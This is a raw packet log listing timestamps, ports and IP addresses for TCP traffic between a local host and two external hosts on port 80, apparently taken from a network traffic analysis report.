Dec 18, 2024 15:56:26.298940897 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.299042940 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.299506903 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.299576044 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.299601078 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.299648046 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.300431013 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.300482035 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.300512075 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.300560951 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.301403999 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.301451921 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.301536083 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.301589012 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.302078962 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.302129030 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.302198887 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.302249908 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.302634954 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.302731037 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.302740097 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.302772999 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.303394079 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.303432941 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.303455114 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.303487062 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.303956985 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.304002047 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.304038048 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.304083109 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.304586887 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.304641008 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.304665089 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.304737091 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.305259943 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.305356026 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.305372953 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.305404902 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.305887938 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.305943012 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.306032896 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.306082964 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.306546926 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.306623936 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.306628942 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.306701899 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.307387114 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.307439089 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.307475090 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.307564974 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.409116983 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.409405947 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.410569906 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.460789919 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.460911036 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.460895061 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.460973978 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.461355925 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.461416006 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.461489916 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.461543083 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.462085962 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.462138891 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.462462902 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.462517023 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.462568045 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.462621927 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.463397980 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.463455915 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.463504076 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.463557005 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.464144945 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.464199066 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.464236975 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.464313030 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.464891911 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.464948893 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.464967966 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.465017080 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.465815067 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.465878963 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.465918064 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.465969086 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.466624975 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.466675997 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.466696978 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.466747999 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.467443943 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.467499971 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.467648983 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.467701912 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.468566895 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.468619108 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.468684912 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.468733072 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.469351053 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.469403028 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.469435930 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.469487906 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.470288992 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.470356941 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.470400095 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.470449924 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.471151114 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.471206903 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.471237898 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.471287966 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.471865892 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.471918106 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.471973896 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.472026110 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.472754955 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.472811937 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.472863913 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.472913980 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.473700047 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.473748922 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.473759890 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.473809004 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.474318027 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.474360943 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.474368095 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.474405050 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.474970102 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.475019932 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.475035906 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.475085020 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.475645065 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.475696087 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.475728989 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.475776911 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.476680040 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.476732016 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.476782084 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.476825953 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.477471113 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.477490902 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.477521896 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.477538109 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.478137016 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.478190899 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.478202105 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.478251934 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.478605986 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.478655100 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.478678942 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.478730917 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.479430914 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.479486942 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.479549885 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.479619980 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.480170965 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.480222940 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.480226994 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.480268002 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.480945110 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.480998993 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.481136084 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.481183052 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.481663942 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.481720924 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.481772900 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.481821060 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.482456923 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.482508898 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.482752085 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.482801914 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.483880997 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.483946085 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.484106064 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.484158039 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.485197067 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.485265970 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.485328913 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.485382080 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.486066103 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.486131907 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.486166954 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.486226082 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.486947060 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.486960888 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.487011909 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.487025976 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.487438917 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.487493992 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.487633944 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.487689018 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.488262892 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.488321066 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.488403082 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.488451004 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.489115000 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.489164114 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.489375114 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.489427090 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.490314007 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.490369081 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.490479946 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:26.490530968 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:26.534296989 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534357071 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.534410954 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534424067 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534487009 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.534513950 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534516096 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.534533024 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534555912 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.534570932 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.534672976 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534687042 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534714937 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.534748077 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534749985 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.534759045 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534794092 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.534830093 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.534871101 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.654464960 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.654480934 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.654521942 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.654556036 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.654587030 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.654627085 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.654678106 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.654699087 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.654745102 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.654762030 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.654786110 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.654829025 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.698542118 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.698750019 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.818487883 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.818553925 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:26.866492987 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.982470989 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:26.982580900 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.186496019 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.187844992 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.419775963 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.423986912 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.424078941 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.544294119 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544306040 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544332981 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544337988 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544410944 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.544421911 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544426918 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544473886 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.544512987 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544540882 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544620991 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.544670105 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544675112 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544718981 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.544830084 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544847965 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544857979 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544898987 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.544909000 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.544933081 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.544975042 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.545566082 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.545602083 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.545810938 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.545938969 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.546006918 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.546134949 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.546263933 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.546281099 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.546281099 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.546433926 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.546444893 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.546488047 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.546529055 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.664221048 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664253950 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664326906 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.664397001 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664428949 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664510965 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.664582968 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664616108 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664678097 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664729118 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664824009 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664892912 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.664943933 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.665035963 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.665127039 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.665314913 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.665375948 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.665440083 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.665555954 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666006088 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666011095 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666022062 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666048050 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666138887 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666143894 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666263103 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666268110 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666277885 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666336060 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666340113 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666346073 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.666435003 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.666459084 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666462898 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666493893 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666510105 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.666517973 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666564941 CET	49792	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:27.666577101 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666665077 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666733980 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666791916 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666795969 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666826010 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666893005 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666903019 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666934013 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.666971922 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667018890 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667025089 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667138100 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667141914 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667217016 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667233944 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667283058 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667327881 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667490959 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667507887 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667521000 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667526007 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667606115 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667609930 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667721033 CET	80	49792	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:27.667771101 CET	80	49792	185.185.71.170	192.168.2.10
